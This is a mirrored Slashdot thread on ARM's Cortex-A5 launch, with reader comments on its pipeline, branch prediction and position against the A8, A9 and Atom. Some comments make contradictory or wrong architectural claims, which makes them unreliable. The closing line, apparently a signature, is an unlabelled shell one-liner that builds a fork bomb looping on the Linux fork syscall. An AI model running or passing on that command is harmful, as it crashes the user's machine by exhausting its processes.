Slashdot Mirror
ARM Launches Cortex-A5 Processor, To Take On Atom
bigwophh writes "ARM launched its new Cortex-A5 processor (codenamed Sparrow) this week, and while it's not targeted at the top end of the mobile market, it is a significant launch nonetheless. The Cortex-A5, which will likely battle future iterations of Intel's Atom for market share, is an important step forward for ARM for several reasons. First, it's significantly more efficient to build than the company's older ARM1176JZ(F)-S, while simultaneously outperforming the ARM926EJ-S. The Cortex-A5, however, is more than just a faster ARM processor. Architecturally, it's identical to the more advanced Cortex-A9, and it supports the same features as that part as well. This flexibility is designed to give product developers and manufacturers access to a fully backwards-compatible processor with better thermal and performance characteristics than the previous generation."
The Cortex-A5 is aimed at phones. The Cortext-A9 is the one aimed at netbooks. The article referenced in the summary makes this clear.
So this is why ARM and Global Foundries recently made a deal. ARM's Cortex-A5 is going to be built on a 40nm and Global Foundries already has that equipment, with AMD working hard to advance to the next node that frees up a lot of manufacturing power for ARM to use. Officially it was for Cortex-A9 at 28nm but what's to stop other stuff from being done in the shadow of the deal?
Be careful not to buy marketing bullshit.
Most figures you find in the TFA are in terms of DMips, which is an awful metric to measure general CPU performance. Imagine how easy it is to optimize a loop which contains 100 instructions, which is 100% branch predicted and 100% cache hit at L1 D/I. This does not translate at all to web browsing performance which is thrashing (at least) your L2.
In term on u-architecture, we are looking at something similar to ARM11 on newer processes.
TFA talks about:
+80% DMips compared to ARM9,
+20% DMips compared to ARM11.
But this metric clearly factors frequency: ARM9 was 1.1 DMips/MHz and ARM11 1.25 DMips/MHz
The Cortex-A5 has a more advanced L2 memory system with multiple outstanding transactions. This makes a huge difference for many workloads compared to the ARM11 cores. Thus, for workloads not contained entirely within the L1 memories the Cortex A5 should offer much better performance.
http://arstechnica.com/gadgets/news/2009/10/arm-fills-out-cpu-lineup-with-cortex-a5.ars
http://www.brightsideofnews.com/news/2009/10/21/arm-announces-cortex-a5-for-the-next-15-billion-cellphones-and-mids.aspx
From a technical standpoint, it's quite a different design. The A8 is an in-order superscalar design, with a 13-stage pipeline (and a 10-stage SIMD pipeline). The A5 is an in-order single-issue design with an 8-stage pipeline. While the A8 comes with NEON (SIMD) and floating point support as standard, they are optional in the A5 (which lowers costs, but cripples floating point performance if you choose not to build them; for some applications, the cost is the more important factor because most float-heavy workloads will run on a separate DSP core anyway). It looks like the A5 has the A8's branch predictor, which is much better than the ones in the ARM11 and earlier cores, but with some minor tweaks to adjust for the pipeline differences. The A5 supports 4KB to 64KB of on-die L2 cache, while the A8 supports up to 1MB. I'm not sure how much L2 cache the OMAP3430 in the N900 comes with - TI's documentation is oddly silent on that topic - but reducing the cache can reduce the die size (and, therefore, cost) considerably at the expense of performance.
Basically, the point of the A5 is to allow you to run the same software on much cheaper devices that you do on devices with A8 or A9 cores, just much slower. A phone with an A5 would probably have a smaller screen and little expectation of running apps in the background, but would run one application reasonably, while its big brother with an A8 could happily multitask a few, but they would both use the same binary (and the same OS kernel).
I am TheRaven on Soylent News
If it's not superscalar, why does it need a branch predictor? It only needs to know when the first instruction fails a cache hit, so that any results can be held.
Uh, what? You need a branch predictor because it's pipelined. It has an 8-stage pipeline, which means that it doesn't know the result of an instruction until eight cycles after it was issued. If you come to a conditional branch, you need to decide whether to take it or not. For example, if you have some C code saying something like 'if (a == 12)' then you can't decide whether to jump to the else block until you've computed the value of a, which will be 8 cycles in the future. Without a branch predictor, you just stall for 8 cycles and do nothing. Given that compiled code averages about one branch every 7 instructions, that means that you would be spending most of your time doing nothing.
The branch predictor makes a guess about which branch to follow, i.e. whether to continue to the body of the if statement or jump to the else block. It then starts executing whichever branch if guesses. If it guesses correctly, then the pipeline stays full. If it guesses incorrectly, the pipeline is flushed and none of the results of the instructions after the branch missprediction are committed. The processor resets itself to the branch and continues down the right track.
The branch predictor in the A5 gets about a 95% hit rate, so on average you have to flush the pipeline every 20 branches, which isn't too bad in terms of overhead. Superscalar makes no difference to the need for branch predictors. A superscalar chip is one that can issue more than one instruction per cycle. That means that independent instructions can be run side by side. This is quite nice on ARM chips, where a lot of instructions are predicated, as you can run both versions in parallel and only commit the one that was meant to be taken, but it's completely independent of the branch predictor.
It doesn't sound like it is necessarily slower, either, since you can get the same functions as the A8.
Nonsense. By that logic Atom is as fast as a Core 2 because you have the same instruction set on both. The A5 and A8/9, due to massive implementation differences, will execute different numbers of instructions per clock and not run at the same clock speed. The A5 will execute far fewer and runs at a lower frequency.
I am TheRaven on Soylent News
And it's full of misinformation:
1) The A5 is not meant to take on Atom. The A9 is.
2) The A5 is not architecturally identical to the A9. The A9 is an in-order, multi-issue core. The A5 is an out-of-order, single-issue core. The only thing similar is it has the Cortex A-series ISA.
What the A5 is is a CPU that completely obliterates the ARM11-derived cores, used in everything from NVIDIA Tegra to the Nintendo DS. It's an update of the ISA, and a more capable core, with better thermals. That's it. Whereas every low-end smartphone now has the same damn QualComm ARM11-based core, in a year, they'll all have the A5.
Lex orandi, lex credendi.
ARM has several different instruction set versions and optional extensions. You cannot run binaries interchangeably in a simple fashion. This is arguably true as well for x86's SSE and the ilk but to a much smaller degree. Why do you think cellphone vendors use Java ME even if, more often than not, they use ARM processors?
The hardware architecture is pretty different since A5 is in-order and A9 is out-of-order. It is like comparing an Intel Atom to an Intel Core processor.
Actually if Qualcomm has their way all the smartphones will be running a Qualcomm Snapdragon with a Qualcomm Scorpion CPU, their superpipelined version of the Cortex A9.
A Snapdragon should run at 1 GHz (Cortext A9 is 600 MHz on a comparable process), from what I've read the A5 will be 480 MHz on a 40nm process.
So the A5 is aimed at cheaper devices than the Snapdragon. Of course the A5/A9 are presumably available to all ARM licensees whereas the Snapdragon is as far as I can tell only going to be manufactured by Qualcomm.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;